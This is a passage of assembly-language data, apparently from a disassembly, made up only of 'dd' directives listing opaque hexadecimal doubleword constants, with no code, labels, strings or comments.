		dd 0C4C0A7AEh, 1E88E97h, 1BD99E38h, 58016476h, 0C3DB14BBh
		dd 8C36F0F9h, 5C85013Fh, 3DF84088h, 3F401870h, 0B6EA40CAh
		dd 540124B8h, 0D1412451h, 4E001C5Ch, 2A48F1E6h,	0DC5A2498h
		dd 589D1901h, 3834E9ACh, 0D8A8017h, 0CD20AA81h,	0F0C30016h
		dd 7C45ED58h, 7E05DCEFh, 3C792B39h, 6CA47E80h, 899E018Bh
		dd 0F934CA75h, 4C312Ch,	0F79B4608h, 0A7BDD701h,	8BEE58A9h
		dd 7F2B530h, 167251FEh,	0E6FFB1B4h, 540C77A1h, 0CD4164CCh
		dd 39E7C443h, 5BC0D1A0h, 8845550h, 21BA8B05h, 9DC0DBADh
		dd 3705F7C9h, 0D718ABB6h, 17A47A5Bh, 0A17C203Dh, 80D0D660h
		dd 0EE5284B4h, 179674C1h, 0CA4C0405h, 8AF809D2h, 8BC0EC8Ch
		dd 656D7CBCh, 8122F0FDh, 773674h, 94F65F72h, 0F19D0410h
		dd 0A6ACD01Bh, 0E93034C5h, 0D12A609Bh, 0CBE64077h, 5C10E303h
		dd 0E2989372h, 1074EA03h, 0D646DFECh, 0C0141F10h, 0B894AE1Bh
		dd 48A93E79h, 0D7CC22C0h, 2F168C44h, 0C0A3C4D0h, 0A8BA50E3h
		dd 0D2C2094Ch, 0E88F4118h, 7CA4A96Bh, 27B8C073h, 0A613A54Ch
		dd 2C20BF2Eh, 588734ADh, 0B2C20401h, 806941EBh,	2A04E666h
		dd 1408E4C0h, 0F9C5015Fh, 8834A71Bh, 5288042h, 3DB1A5F0h
		dd 94AB748Bh, 25863C18h, 68A692D1h, 570022F2h, 0E9A034E7h
		dd 3FD652CFh, 2F0CBF5h,	0CE4B6B59h, 8766DC0h, 88C65000h
		dd 0E447F3FAh, 33414A9Ch, 88005EC4h, 0D40F33AEh, 0C5493E53h
		dd 80E8D15Ah, 7BEF9760h, 6C4995FEh, 0A4E202D0h,	66431834h
		dd 6B331964h, 5A1019h, 2EFC9195h, 62FC55FEh, 18073DF4h
		dd 1FF89E16h, 0A04134AAh, 0A438D665h, 8091A892h, 0F1F7F8E4h
		dd 340C1255h, 0E9C4C251h, 57361840h, 64BC49F1h,	5F77D880h
		dd 885C10D5h, 16293058h, 8BCCFBAh, 6144D0Fh, 10CD9Bh, 0CA49217Fh
		dd 0F565C0D9h, 767D4A9h, 48E914F8h, 6C177A1Ch, 0AEBB43F4h
		dd 0A825681Dh, 648EA700h, 6797230Ch, 53C02AE0h,	0B6895F1Dh
		dd 944EE2F8h, 5EC50B01h, 1A7CB3A2h, 4B70A856h, 785420DCh
		dd 0D80FAD30h, 8934A8C7h, 301A93h, 816C37C2h, 80E55AC0h
		dd 0BB168034h, 94475005h, 7C8152AEh, 6040D991h,	0AAD84A57h
		dd 7880809Ch, 91938C19h, 88461390h, 0B36033C4h,	7CB65819h
		dd 49410014h, 8DBB8CB1h, 780A084Eh, 0BCEC22D1h,	67475880h
		dd 78CE1B7Dh, 266004C5h, 0C1CA0EF5h, 0D4D23790h, 0F14A16BFh
		dd 0B2F260C0h, 0F3AB0056h, 94AA4A92h, 3A5479B4h, 0B0A87A40h
		dd 1618B7D8h, 0B383470h, 771C0941h, 0FC439933h,	0B12B11A8h
		dd 0AE8BFC1Dh, 6667D405h, 24FA84C2h, 56148855h,	0DE508E40h
		dd 99A10C8Ah, 3424BB10h, 0A6D8B6h, 0E7553384h, 0D1221880h
		dd 48FA4D1Fh, 3CF48400h, 4894FB47h, 0F27AE8C1h,	8B01CD77h
		dd 3E07D8A7h, 80D44000h, 3997B20Ah, 0E449879h, 0D97A92D3h
		dd 96A21602h, 0F3D80882h, 0A613C054h, 0B305C45Dh, 0F85247CDh
		dd 0C05E981Fh, 0E6D07C18h, 0BA8C3D28h, 0FD40BB80h, 0AB342B18h
		dd 0A130116Bh, 81A8C0E4h, 0A021A064h, 13ABA3F4h, 4313FEh
		dd 4F30F10Dh, 2C6E02F6h, 600CCD31h, 4B728874h, 1628604Fh
		dd 0C4A16080h, 0A4A8A409h, 94AD4780h, 9E3D79B7h, 452C6AE4h
		dd 0DCAC8C76h, 16DA6006h, 0E28E59Ch, 39D1B893h,	56244092h
		dd 2CE4EE79h, 16C1D705h, 0F0D14481h, 4C34E68Dh,	8B7D0CD1h
		dd 999A0F98h, 3432F909h, 0E0DCD8CAh, 0B0A600B1h, 43B3C1D8h
		dd 8013F2Fh, 0B524F4E5h, 35F4F931h, 0E071D3C0h,	0EE1EC688h
		dd 2C2C08DEh, 84704D3Eh, 4487536h, 0BFE2FB47h, 6C5871h
		dd 0D8AA0530h, 9E8CA5C6h, 0C9C97CA3h, 0F6506071h, 0BF2D2B00h
		dd 3D8B15C2h, 6E3A00FEh, 58200F24h, 0D475DFE7h,	7D02F0EFh
		dd 0B74C6A04h, 0BCB0C75Eh, 0A869C05Ah, 2EE11976h, 0DB2CFE1Ch
		dd 5880151Eh, 89F534E9h, 7B54F81Eh, 8D9831E4h, 0ECE62D18h
		dd 4A72AC03h, 1B44141Fh, 0B645D100h, 0FC7E185Bh, 9ADC7FBFh
		dd 9D237A38h, 5224CC27h, 9481AB2Fh, 0F4B294B0h,	10C098A9h
		dd 0EE57607Eh, 1EF10249h, 6D8C165Bh, 80C6D489h,	8448D810h
		dd 7441AD00h, 0BE4B21E6h, 3183FB00h, 86118038h,	0A07CB0DDh
		dd 1203F690h, 0C0E0BF5Dh, 0C861BD38h, 0FE68F309h, 3D00939h
		dd 0B3E658A6h, 3E5AC1D1h, 30D8D3F0h, 0AB681B5Bh, 410C9DF4h
		dd 90291F9Bh, 1C010B93h, 0B0D81916h, 983CB2h, 0F43DC441h
		dd 46A1330Bh, 6558F431h, 8982734h, 7FA8134h, 82A6CEE0h
		dd 104A953Dh, 0B6207C78h, 8159D879h, 0ACA88D9Bh, 90A81733h
		dd 16185E36h, 0A7A86CBCh, 4D3090CEh, 4000A0AFh,	0F798012Fh
		dd 0A95035C0h, 9024AB88h, 0D6099813h, 0F82C027Ah, 9ACD1E7h
		dd 0CC236337h, 0D5C2A8ABh, 8866CC62h, 0FC3DB542h, 88C8F12Eh
		dd 74262CD6h, 0AF5838h,	3DA9AF45h, 9C0B86FAh, 9C98A524h
		dd 6C303429h, 0A2271057h, 1D18985Ah, 4005FEF3h,	581E7F1Ch
		dd 0DD7CE5D3h, 257E3305h, 802BB57h, 0A0502E16h,	7E43ABD0h
		dd 29300E58h, 0DBA0A910h, 0F96AD02Fh, 0DE583E71h, 93F004Ch
		dd 0CAFCA406h, 6216185Fh, 0AD084027h, 632BD114h, 614A0088h
		dd 0C283AB2h, 54484898h, 397B2F04h, 0FB74D215h,	8008C889h
		dd 47F84880h, 94E744C0h, 569420B4h, 77272F54h, 0CB80B6Fh
		dd 0A8F0E0h, 0AE1EC81Ah, 0FA51F144h, 0CD60A900h, 42A4FCA6h
		dd 0CB03F816h, 688095A0h, 0BD24AD7Fh, 1D8A300Bh, 0B81C073Bh
		dd 0C016D950h, 1A4B468h, 7A3421E5h, 10842908h, 0C600F870h
		dd 0AFAD4469h, 6C00754Dh, 0B208A7D2h, 31A5ECA6h, 22C04FFFh
		dd 13B99451h, 57CE018Bh, 7FCFFD9Ch, 16E0F9D1h, 7C20F72Bh
		dd 78A60517h, 27D19E40h, 0A409CBFCh, 0EDFA7419h, 1C4DC79h
		dd 0E605537Bh, 0B505F57Fh, 1CD868D0h, 92A180EAh, 0A74F2090h
		dd 74169803h, 946830C9h, 0D5D1D018h, 1828C14Bh,	0A38C3233h
		dd 0D9E322F0h, 0B8B2B4h, 0D6C471A7h, 3A02521Eh,	94804DC2h
		dd 3E2E4892h, 9B38CBCDh, 90FF2F11h, 0ECE6F424h,	84332445h
		dd 0CF2CB850h, 0CA419254h, 98950E10h, 100037FCh, 13E87A43h
		dd 0CA62882h, 0A13831A1h, 581FF828h, 9494115Ch,	70B15804h
		dd 0D505AE08h, 57C2ABE0h, 0D624C94Dh, 13201420h, 18EBFF8h
		dd 21A8BCC0h, 7EE43022h, 0D4C61218h, 0D9B418h, 5C0C0BC5h
		dd 0F173B157h, 0FE02C000h, 142F2A34h, 9B6F82Eh,	5BF8B38Ch
		dd 805C492h, 0CDD0C4A6h, 0D40C51BCh, 84F0040Bh,	222C4B5Eh
		dd 6C511FC0h, 4D48FC20h, 0A7B04A4h, 4C94FAC0h, 161310F2h
		dd 4D644757h, 0D80F88D4h, 0F04986DEh, 0A7431E10h, 0C0163F6Fh
		dd 0FE5C402Dh, 566CEF8Ch, 60B1A63Dh, 0CEBF6E68h, 0BF80B60Dh
		dd 8A1E61A0h, 940CA692h, 0F2A5104Dh, 0E8593F91h, 1520B90Bh
		dd 7F34C02h, 349434DAh,	0A8DF47h, 1BA33930h, 8A003179h
		dd 8C9B7635h, 1C51F8C3h, 84F1139Eh, 0D04C7334h,	92CAA60h
		dd 3DFE9217h, 27015C12h, 7390BF21h, 224E2028h, 0C4000500h
		dd 7934A5Eh, 2BE8CB0h, 4EF86075h, 64642316h, 74E3ADB8h
		dd 83402D30h, 0C748A716h, 60DB058Ch, 80E97AE0h,	318BA816h
		dd 10D28A9Ch, 46144Dh, 0C5088ED1h, 0F28BA1A5h, 1C43B704h
		dd 98C00A29h, 7EB89EFh,	39565D0Bh, 1708FA57h, 0FB4800A2h
		dd 2D5463BEh, 7DB3BC00h, 27027E53h, 5208A8A1h, 47732E2Fh
		dd 3B8850F8h, 14319981h, 0C117EDE0h, 48970B10h,	434060FCh
		dd 280B34B3h, 40B78DD1h, 0CE85042Dh, 7820E2E3h,	10F09230h
		dd 0A829E6h
		dd 177AC8Ch, 0E81280F3h, 498D2C02h, 0C2FAB34Bh,	6F264088h
		dd 0E9C028BBh, 0AD2E0124h, 316B260h, 8B6880E2h,	0C1134AC4h
		dd 11E0DAh, 4A825B0h, 4E35ADD5h, 51BF3A12h, 62FCF4C1h
		dd 5886F0h, 0D757A47Ah,	82053342h, 3A3DB0C7h, 0F0C4E4CBh
		dd 174E7ECFh, 0B49B47EBh, 8CA1F3F4h, 5494C0ABh,	5F62E809h
		dd 919089B9h, 80E252CCh, 8E198DF8h, 4A430053h, 5823F6C5h
		dd 0BF008C9Fh, 0DEA64CB7h, 0C73D80h, 2B11501h, 0E71632A2h
		dd 0FAB84250h, 0A5D1CC09h, 954020DDh, 3F997531h, 0B16E8B34h
		dd 130BB5C4h, 0D1215401h, 5869D2DCh, 67F12C04h,	83CC82E5h
		dd 3D12ECC6h, 8B24785h,	0D254C00Ch, 7C9A5520h, 913FD810h
		dd 0B324005Bh, 0A1117F41h, 1D02FD75h, 595B5669h, 0C580540Ch
		dd 904EC30h, 1004F3D8h,	5C418468h, 0BA001098h, 3BA7B8BEh
		dd 57783D2Eh, 0A1DD350Bh, 2A188336h, 0CE349929h, 60607C39h
		dd 0C05E3E44h, 0A3228A00h, 0E91D3A6h, 0F3862816h, 0D788A0C8h
		dd 9FB5008Ch, 5D2A0C66h, 3413AECFh, 0CD091EDh, 3260F7h
		dd 363C5EBCh, 1BD2CB50h, 0C48BBF0h, 353E0A6Ch, 0B503C8D3h
		dd 0E099E5C4h, 5CFC42AEh, 0FC41CCFh, 0B3EC88E0h, 3096C540h
		dd 4329FC9Eh, 592B024Eh, 45808C24h, 0F850A5C1h,	20681263h
		dd 5CB4A279h, 0A9B30218h, 0F0B6B7C0h, 8314009Ch, 0F36AAFDEh
		dd 663ED1A6h, 84565A12h, 0E0900883h, 5439BFB3h,	3448BCF9h
		dd 0C099EF16h, 4EB05D38h, 3E04E4B7h, 0D60E6FA2h, 2AE05609h
		dd 948C22F9h, 0AA90C12h, 84EC3D15h, 68C8145Eh, 4924D16h
		dd 0AC109335h, 18D04A88h, 3134A95Eh, 2D1089E8h,	482832F5h
		dd 9C5C978h, 0F199029Ch, 0A5C0E92Ah, 9CC4153Eh,	14BE3278h
		dd 0DCD24910h, 0ACC2C499h, 9B7C7150h, 0A2E1A860h, 0E5F850F9h
		dd 93000901h, 1E565262h, 0EFF78ACh, 82CE27F4h, 0F77AD700h
		dd 8C00A90Dh, 7D8B96A2h, 26B936DCh, 0B0111Ch, 6B40B3E7h
		dd 0C6018CBCh, 39216F32h, 207818D1h, 0D8795020h, 3E10F263h
		dd 0B935F831h, 512B3034h, 0CAB0CE89h, 16141475h, 0A01D12h
		dd 0C7FD241h, 1D795EDh,	97C68A7Bh, 642B3C16h, 4B3D1B24h
		dd 0D1D400C8h, 43ABF36Eh, 8F82616h, 0F6D098C4h,	1C05440Ah
		dd 252A337Fh, 3078ACA2h, 0ED815D79h, 0FA28FBFFh, 180FEC0Bh
		dd 426184E2h, 5E92A2EEh, 0F07A2738h, 901FFB5Ah,	0B3180118h
		dd 20414F21h, 0EEC53348h, 0C89E80B8h, 780880C9h, 0C058A50Dh
		dd 68FBB180h, 0DA90B0BAh, 4E68B949h, 38BF1432h,	67487129h
		dd 6A7A1008h, 2164F09h,	0CB0CD860h, 31FE5F1Ch, 186C6900h
		dd 1368A128h, 99F9B983h, 8012BE0h, 126CFB90h, 0D548E440h
		dd 0A9533EE8h, 9567DD07h, 9DB6C0F9h, 3D01DB5Bh,	0D1360176h
		dd 8C7C69C6h, 64805624h, 3C0C2004h, 580649BFh, 0AAAE460Bh
		dd 0D1163B82h, 7E03C05Eh, 25A637BFh, 0B00C5DF0h, 589FEEF8h
		dd 9F0C0A19h, 9081579h,	0C44AD99Eh, 84844F0h, 0E1C51F68h
		dd 0E40AA709h, 0AD4804B8h, 0D109EE34h, 337638FCh, 582E01E0h
		dd 1F0EB649h, 47723189h, 0EA085859h, 0C530824h,	1EDD908h
		dd 3A836A82h, 8B2CC071h, 999B9E00h, 0DB755ADh, 8013007Ch
		dd 0D958311Eh, 977809AFh, 55823E04h, 0C8F016B9h, 1722E203h
		dd 40DA21D1h, 5E813D00h, 605CFC5Ah, 0BC8C0060h,	415B6A75h
		dd 0F8474ED1h, 69DC4770h, 16646098h, 221F4E89h,	0B05CC1E4h
		dd 5EC20B80h, 0C0518516h, 8984DB20h, 58003009h,	948B8CCDh
		dd 0B83E8347h, 61878DEh, 66161E92h, 4400306Eh, 0E251258Ah
		dd 97D96AC0h, 0DDB4CA2h, 0C0E14202h, 498C812h, 373380D8h
		dd 0B528C89Ah, 0FC46F302h, 0E0E0383Eh, 9C4F58h,	0C6EB7E61h
		dd 0BF02FE5Dh, 0BD441C12h, 0E7E63C00h, 0C67E10F5h, 7087DF18h
		dd 22539302h, 0CCA59640h, 66C922C8h, 358284A0h,	292DFB02h
		dd 0D29E65D1h, 3ECB1394h, 42316FDh, 0FE05D80h, 3979810Bh
		dd 40DA478Ch, 81F32A14h, 4EDC2402h, 744CAE4Fh, 0F1947077h
		dd 0CE7FD800h, 2B0FE492h, 974CFABFh, 0AF460430h, 50230FAAh
		dd 81B734ACh, 0D0CC815Ch, 80003035h, 0BB55C440h, 4D8A3408h
		dd 0B62110EAh, 50D09A2Dh, 40589044h, 4D0B2F13h,	407C0716h
		dd 25ABB24h, 0D8FA9A42h, 7E06E478h, 5773256Ah, 4C815433h
		dd 58092ED4h, 3688C829h, 3C808043h, 1B8918B1h, 97D8E438h
		dd 1ED3A42Fh, 0FB64DCE0h, 0CDFE5013h, 0C1941110h, 2B42351h
		dd 0FA9BD660h, 0D8504A1Eh, 0BCB801B4h, 589D3FF1h, 45B4D04Ch
		dd 6E630600h, 12B2FF87h, 0E5DC003Eh, 0C0502FC1h, 620436A2h
		dd 0C7BE2628h, 80F7AC4h, 0E6340BCh, 78406C25h, 843FCB4h
		dd 6F94A5D8h, 0DAA74400h, 0B8A4D7h, 9ACFE60Fh, 0C015C93Fh
		dd 88C17831h, 48BE43B4h, 280CE13Eh, 0A18FA94h, 20F67B30h
		dd 134F2BCh, 43DE4013h,	863C969Dh, 41B63D18h, 0A5F10720h
		dd 4F17F01Ch, 0A715C37Dh, 4878E1A3h, 0C158D962h, 0ADD500C0h
		dd 0D802737Dh, 3598460Dh, 4334827Eh, 0B59091F9h, 0C00E806Bh
		dd 63007CE0h, 49DB7DD8h, 0A9319A1Ch, 9DF00E9Ch,	3EE23C55h
		dd 6F7E7100h, 2DDB1597h, 99BD3131h, 0C10313ADh,	0A859881Fh
		dd 0B24F3E1Ch, 1D9F0050h, 3613FF2h, 9D92C9EEh, 6000F341h
		dd 0B828B218h, 0DFE7B0A5h, 0E8C040A0h, 366598E0h, 0C8CEF0EAh
		dd 2034FEA5h, 8841BDC4h, 0DB178A40h, 88BCAF21h,	0B6A68106h
		dd 39C02079h, 9BC84914h, 20AC430Fh, 0DAD7308Bh,	96ABD010h
		dd 0BD307300h, 1CAE4115h, 801F5448h, 6C6300F6h,	2FB50EC8h
		dd 0BD66DDA6h, 0A607C48h, 0B343B63Fh, 0A52806C8h, 0A3FE839h
		dd 52244846h, 0B83D1400h, 0E8C61440h, 0AF1180B8h, 0C801EBh
		dd 26A9C042h, 3DC53706h, 17A7DF00h, 0CF28667Eh,	0CF58DE3Ch
		dd 0C9054C92h, 3EFC30C5h, 0DA14E0E9h, 844D02h, 0F99F7581h
		dd 48407EC0h, 0A60CBC35h, 0B28064A3h, 0FE032173h, 9CAC3978h
		dd 6693DBh, 0FFE14438h,	84DD73D1h, 76FA4500h, 354C6833h
		dd 0BCD8A8A8h, 0A7C00034h, 0EDD527ACh, 2A607CA5h, 0E8C71F18h
		dd 280A0CB5h, 5B053CCh,	964B1103h, 7A18999Dh, 41B73C40h
		dd 105CBB1Bh, 0B86366A0h, 43B02890h, 81FA9080h,	86002798h
		dd 0FD878035h, 30DAECD4h, 0F8A84638h, 8DF407F7h, 1BA69D18h
		dd 48DE4448h, 740064CAh, 7A0CB903h, 4504070Fh, 0D7B528B8h
		dd 4B867890h, 0CC6F5292h, 9ACBBD03h, 8912BC06h,	0F0038116h
		dd 0C0E20118h, 24288DE0h, 68A6F1h, 91C3B413h, 2500556Eh
		dd 0C2BE1156h, 1AE3599h, 0A9B2FC87h, 30400713h,	0F720A700h
		dd 0B9D18CDh, 6BE870FBh, 231F35B8h, 280C8F43h, 70D1802h
		dd 0BA24E5ABh, 6AF9A24Eh, 0E8E7A082h, 0D4092C40h, 0E50748D3h
		dd 0C6F8EE4h, 80BCD824h, 0D1C4BD1Ch, 0D88105E5h, 0B8507933h
		dd 0C13B43B3h, 0D21C9B90h, 2E6C24FCh, 0A60F6305h, 0E002A9D5h
		dd 418C684Eh, 0A023EE14h, 50625A58h, 6800168Dh,	0F6669158h
		dd 22D67C1Dh, 0E1508C6Fh, 3C800CFCh, 1E4D7E95h,	14A2376h
		dd 0F5011787h, 0C6F6DC74h, 0DD1D9D13h, 4D162800h, 0C6E42228h
		dd 0A8C8E7C0h, 9943D4Ch, 2C2CAAA7h, 3728C07Ch, 9728ECDAh
		dd 0C2C284D1h, 0D88080B0h, 0C8C6C4B3h, 10C2AC90h, 429A460Fh
		dd 267C4420h, 92583859h, 0AA1409C8h, 77B8C813h,	0C3481248h
		dd 0CB8A1094h, 1B48F030h, 89FD6CDBh, 11A0C038h,	0E830451Ch
		dd 7090301Ch, 0E261A510h, 0BAD038D8h, 0EB8C166h, 64E93DA6h
		dd 0D8035B1Ch, 6B28D573h
		dd 3520004Eh, 0BEB6F5ABh, 3D141AC9h, 38088336h,	0C3A20350h
		dd 1FC0DAh, 0D92C3E80h,	8F0DA58Eh, 500CCC98h, 6027E0A6h
		dd 0B9012473h, 7F358A08h, 5378097Ch, 8EDB6801h,	0A3C99030h
		dd 4034389h, 50794610h,	0A715E098h, 60BC2593h, 0C294C810h
		dd 4851C5F5h, 0E4208DFEh, 3D58ACDBh, 23E58404h,	978D810h
		dd 0D72BA606h, 6BB0DCA1h, 76B8600Eh, 0D5FDAF16h, 86DCE800h
		dd 18F798F8h, 785D8428h, 98C24808h, 6991369Dh, 50442614h
		dd 80C8B00Ch, 0F6813C37h, 90B99714h, 87A60B0Bh,	5720021h
		dd 35CC64DBh, 6F578300h, 0D1AD8FEh, 8AB5036h, 0B05A30DAh
		dd 489E70D0h, 35631E0Ah, 0DA41A081h, 0E0800B66h, 0E5CACBA7h
		dd 0D9319D8Ch, 0AC0E207Ch, 1C0AEBF8h, 86971036h, 3037B8DBh
		dd 86D901Ch, 0B3D9B543h, 24E020CBh, 6A013575h, 4AD26446h
		dd 7842AF68h, 0DD3C2011h, 4506059Eh, 0BD228CFh,	81D48238h
		dd 2A7807C8h, 0DF925041h, 0BC2C092h, 2C047A50h,	28708C0Ch
		dd 98CB8628h, 0E781A39h, 0B80E9D6Ch, 907D2240h,	3C70FD74h
		dd 15F9243Dh, 1016E574h, 2840BC88h, 90C0D09Eh, 882B7284h
		dd 0CC903D3Ch, 0F3B2F900h, 2D1C5BF5h, 3790920Ch, 973165B0h
		dd 8AC3D017h, 724A604h,	3750602Fh, 0E8F649A7h, 3811DA0Bh
		dd 167CF020h, 18B8FF75h, 4057712Bh, 0F8003CA8h,	9395F369h
		dd 1162935h, 1AC31747h,	0BE08B564h, 0C012910h, 65BE0D05h
		dd 5A0F0080h, 60EA26F4h, 18DD0D20h, 0F31BEC28h,	6F2494A0h
		dd 420804Ah, 0BABA474h,	831ADEA6h, 402BFA09h, 62C0DC08h
		dd 5040A3D1h, 39034F70h, 0B53DFDE8h, 0F491A1CEh, 0F22860h
		dd 0DDD788FAh, 111A28C4h, 4E71F8A0h, 0C64D5600h, 0E0FBB73Dh
		dd 28FA0C60h, 6E2017DBh, 4F2FD602h, 40CCB415h, 651ECACh
		dd 0B7A621F7h, 46098083h, 20098028h, 0F944A4E8h, 0AFDB0769h
		dd 0D94B9DACh, 865AECA0h, 9099BCE0h, 3450A603h,	79BF9882h
		dd 0C7103BEh, 42D77D36h, 1183Eh, 981EB9A1h, 0E8F6A4B4h
		dd 0EAA6190Dh, 74457896h, 9405504Ch, 473A23Dh, 0F82F032h
		dd 0C04D44FCh, 538897Bh, 8078D4C0h, 42E5ACE0h, 7323A600h
		dd 67CA0206h, 9BB53CBDh, 0A2082E28h, 0F140948h,	0C0B88C0h
		dd 0AF10B5D4h, 610E349h, 0B67DDBA2h, 0E5EC1760h, 44740094h
		dd 0B778062h, 4DC37C1Eh, 37F30700h, 0BA013D9Eh,	9408E5E0h
		dd 0C120715Ch, 3DA728DBh, 0C0B9708Dh, 41B2F819h, 932C045Ch
		dd 4609A440h, 9479C0D7h, 34B7440Ch, 0B8CE8846h,	9C281A08h
		dd 34C05802h, 371298BFh, 208DF683h, 5D3E3458h, 991058B9h
		dd 0AB8602A2h, 480392DBh, 4D487AA0h, 13D270F6h,	0A91C3294h
		dd 717A11h, 1A2ED062h, 94DB418Ch, 6C3080DEh, 68A311CAh
		dd 233200B9h, 4BC1FCCCh, 15008DADh, 16E2371Bh, 0D1860h
		dd 0E5B5B114h, 0AC683A49h, 55F71C02h, 521B6E09h, 110B2060h
		dd 7CAAFC80h, 0F5975B00h, 0E063FD47h, 587772B5h, 0A10120B1h
		dd 0BB88D98Dh, 0A9CD0BDh, 0B3C8A618h, 0EA444AB8h, 7D1801EBh
		dd 3E1FACB5h, 0F02FC5E3h, 2E28226Fh, 0ED04F4A6h, 0F2C99042h
		dd 283904h, 9D9C4811h, 0D0FA540Ah, 58FCF8BFh, 51143432h
		dd 0B305C80Dh, 1FC078F1h, 154DC0D4h, 0C7A749D5h, 0C0581E5Ch
		dd 52CB02F8h, 0B9D1757h, 7A7807ECh, 0DBAF20F2h,	5F689BDAh
		dd 0AC4280F0h, 8085052Eh, 3F711C58h, 73DB020Bh,	9FDC2719h
		dd 0E4635C20h, 0F7423C14h, 0BE551580h, 6D1795ABh, 11021C7Bh
		dd 75DCD46Ch, 36D0E13Fh, 60064601h, 0D405E30h, 28511916h
		dd 603ECA56h, 543C5882h, 12C23EBFh, 68431573h, 0E0121351h
		dd 44350F1h, 4EDB0967h,	440084A6h, 0BE470BCh, 47348524h
		dd 481A1882h, 40081C34h, 730A570h, 0A7572862h, 0DAC818C4h
		dd 76BF4952h, 8DB6C0Bh,	0ACD0A843h, 98197C2Ch, 94708D20h
		dd 0A9480E3Fh, 4BE17313h, 402F46B6h, 0F30EDBA9h, 8C6728C0h
		dd 0C3476CA6h, 143D1268h, 643182C1h, 0B23A2A30h, 544926FBh
		dd 0C234408h, 0DC10D71Eh, 50784840h, 271C647Bh,	209017A9h
		dd 87242504h, 0BA906Bh,	54D079D8h, 0B33A21h, 4501BD24h
		dd 0F271C90h, 15EA0D00h, 0F5672873h, 0C042E7D1h, 13FC459Fh
		dd 78080CC2h, 733E1850h, 0E46D8032h, 0DB94D57Fh, 94EC5283h
		dd 39789A07h, 8F09CCABh, 9E09F005h, 870BD610h, 0E948B46h
		dd 0F47092A0h, 81D04F59h, 38E0D1C8h, 0E092C988h, 543E0F74h
		dd 77A4CB6h, 6B2847BFh,	40CB8FA9h, 84961085h, 8CC88424h
		dd 0F08184E8h, 0BFF4DC41h, 1B9D9700h, 4E88934Dh, 7B06C04h
		dd 52DB1103h, 0C5F8008Dh, 3469A68Eh, 37578C0h, 14D444B9h
		dd 0C4430797h, 7891AA09h, 0A9BB7886h, 609D4040h, 15B4989Bh
		dd 3426A4DBh, 5A41ECBDh, 282508BEh, 0EAB09880h,	861972F6h
		dd 0A8B0D4h, 735938ABh,	6206A622h, 6B7C8053h, 0CA27AC6Eh
		dd 0A52C21B8h, 28222A3Bh, 0F11C0374h, 0DA1D9DB6h, 0E488809h
		dd 2800E063h, 0A0B260F6h, 75088036h, 1B17620Fh,	8A80A32h
		dd 73965000h, 0AB2760h,	9EECBDEAh, 0FC477FB5h, 5DF25701h
		dd 4FA7DD75h, 37B62881h, 1BE337Dh, 0E0F6CC1Ah, 784D25ECh
		dd 410949Bh, 16E59Dh, 8D74CAB3h, 894900EBh, 0CE8835E9h
		dd 0B20CE5F0h, 0A0B1FB28h, 0C54B21Bh, 4D8DA5B6h, 0AFAAAE0h
		dd 0C05B730Fh, 8735219Dh, 8EC83DDBh, 0D336E8D0h, 0F93C5F18h
		dd 0C6D7027Eh, 0A2281E5Ah, 0DD3E00D0h, 7FB148Dh, 1C9D04C4h
		dd 8D119AEh, 0CB0730C9h, 341B3407h, 9D288803h, 28542F30h
		dd 16479CE9h, 14CC088h,	9FDB0F1Ch, 8F2882EBh, 62EC9Dh
		dd 61EE91Ah, 83C77600h,	10E8D30Eh, 1C352E9Eh, 1DDB842Ch
		dd 99089106h, 80C0263Eh, 171B2F22h, 75021C72h, 5442D2A6h
		dd 0ED14400Ch, 0F01AB0F5h, 0D885F8D3h, 0A8A08C02h, 5B243284h
		dd 0B9030D30h, 0E518005Eh, 87B599C4h, 2F05FE49h, 36A401Dh
		dd 83C1DE80h, 0AFE4EBB3h, 8F4B001Ch, 46F02506h,	0DB19351Eh
		dd 7AB1B8D4h, 1F8CF004h, 4BE040h, 1A467BBFh, 420F1037h
		dd 21C22824h, 0A55A9931h, 2AE0E8EDh, 2C770107h,	0DB0AA1B8h
		dd 8C8BFA87h, 197C5846h, 0BE69E25h, 0D00C3AF8h,	0A8EB2080h
		dd 0BC05574Fh, 0F444ADDAh, 0CCC180BFh, 0E8641A6Dh, 4A7E013Ch
		dd 99A68635h, 0F2388068h, 0DB101336h, 7018400Ah, 8049755Bh
		dd 2A8294Dh, 0E5B704A0h, 23DA8450h, 0C02C942Bh,	47462C10h
		dd 587ADD35h, 925C9011h, 0F494EC1Ch, 9C951820h,	4E70A758h
		dd 28782034h, 70CEF409h, 60DC81Ch, 389B41A5h, 5C9C4958h
		dd 62720030h, 8E0E5137h, 7B9AE0D8h, 8D2818C5h, 0D052055h
		dd 0C2F04303h, 0B88D6A5h, 93684F40h, 0D0FAA484h, 0E0D8CA58h
		dd 6B794478h, 0E56C8C0Bh, 3BFC0495h, 4EE424E5h,	66235CCBh
		dd 6AD9D404h, 2788B020h, 2105F8E0h, 332F2812h, 80A2F84Fh
		dd 72D1A36Ch, 0DC570724h, 0C275BE59h, 0B0E084F5h, 0A3023305h
		dd 9648DAC2h, 12BCC4BCh, 8CBA1F7Ah, 3B504364h, 75049B8Ch
		dd 5F28FCA5h, 753478A0h, 95FF03A6h, 0EEA4DABFh,	77704814h
		dd 4A0270DCh, 0DD5C0FC5h, 4B84C195h, 0D93F118Bh, 0A51690CCh
		dd 54425F4Fh, 6339C86Fh, 9B408903h, 0EE102066h,	4DED001Dh
		dd 8117B863h, 0F0351D42h, 0BF82C490h, 0A5BC807Ch, 50928588h
		dd 0E444405Ah, 0B099D0Dh, 4CFCD0A7h, 815837C8h,	0BC9E005Bh
		dd 72059258h, 9FC701A0h, 1B191A16h, 0F12D018h, 4212A4E2h
		dd 7401A734h, 0B1DB97A6h
		dd 6801C613h, 0DD23C84Dh, 0E7284Eh, 7C0C3E28h, 0C7756998h
		dd 6F30487Ch, 7B0A783Bh, 61BB071Dh, 2089AD04h, 0A740DE4Ah
		dd 1E0B1B7Dh, 0C805FB9Eh, 1BD1920h, 0B2404CF3h,	68BF72A6h
		dd 1877892Ch, 80052D8Ch, 1C0AAE68h, 0F0A471DBh,	0AFE0E880h
		dd 90850F1Fh, 0C2A20E1Ch, 0D780C03Fh, 0B3F9A454h, 0C118D060h
		dd 2B4FC46h, 0E5432D2Eh, 90607DAAh, 7C602FA5h, 9D994868h
		dd 0A1356397h, 92E0DDE3h, 830070C4h, 61367316h,	0FA9D542Bh
		dd 7B7D2FB7h, 48009829h, 0DBED5C97h, 9D6FF005h,	0A094D148h
		dd 0AD1E38E2h, 4ABC30h,	118B05B4h, 409AF2FEh, 177A8D20h
		dd 0C0B92B74h, 0D4460654h, 2C76C024h, 4DC494Eh,	0EC81D160h
